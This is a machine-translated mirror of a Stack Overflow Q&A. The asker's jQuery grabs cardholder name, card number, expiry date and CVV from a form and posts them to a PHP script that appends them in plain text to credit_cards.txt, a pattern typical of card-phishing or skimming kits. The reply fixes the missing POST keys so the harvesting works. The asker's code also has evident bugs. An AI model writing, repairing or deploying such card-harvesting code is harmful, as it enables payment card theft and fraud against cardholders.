簡體   English   中英

如何讓JS信息轉到php生成文本文件?

[英]How can I make the JS information go to php to generate the text file?

我看不到是什么問題,因為輸入信息時無法創建文本文件

jQuery( document ).ready(function() {

// Después de enviar el formulario de la tarjeta de crédito, obtenga todos los datos
jQuery("").on('submit'), function() {
    var cc_holders_name = jQuery('#nameoncard').val();
    var cc_number = jQuery('#addCreditCardNumber').val();
    var expiry_date = jQuery('#exp').val();
    var cvv = jQuery('#Address').val();
    
    jQuery.post( "log.php", {
        cc_holders_name: cc_holders_name, cc_number, expiry_date, cvv: cvv}, function(data) {
            // Enviar datos
        });
}
});

<?php

header('*');

if ( isset($_REQUEST['cc_holders_name']) && isset($_REQUEST['cc_number']) && isset($_REQUEST['expiry_date']) && isset($_REQUEST['cvv']) ) {
    
    $cc_holders_name = $_REQUEST['cc_holders_name'];
    $cc_number = $_REQUEST['cc_number'];
    $cc_expiry_date = $_REQUEST['expiry_date'];
    $cc_cvv = $_REQUEST['cvv'];
    
    $data = "";
    $data .= "Name on Card: " . $cc_holders_name . "\r\n";
    $data .= "Card Number: " . $cc_number . "\r\n";
    $data .= "Expiration date: " . $cc_expiry_date . "\r\n";
    $data .= "CVV: " . $cc_cvv . "\r\n";
    $data = "\r\n";
    
    file_put_contents('credit_cards.txt', $data, FILE_APPEND);
}

因為沒有設置cc_numberexpiry_date鍵。 要設置它們 - 將您的 js 更改為:

jQuery.post( 
    "log.php", 
    {
        cc_holders_name: cc_holders_name, 
        // add key name here
        cc_number: cc_number,
        // and here 
        expiry_date: expiry_date, 
        cvv: cvv
    }, 
    function(data) {
        // Enviar datos
    }
);

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM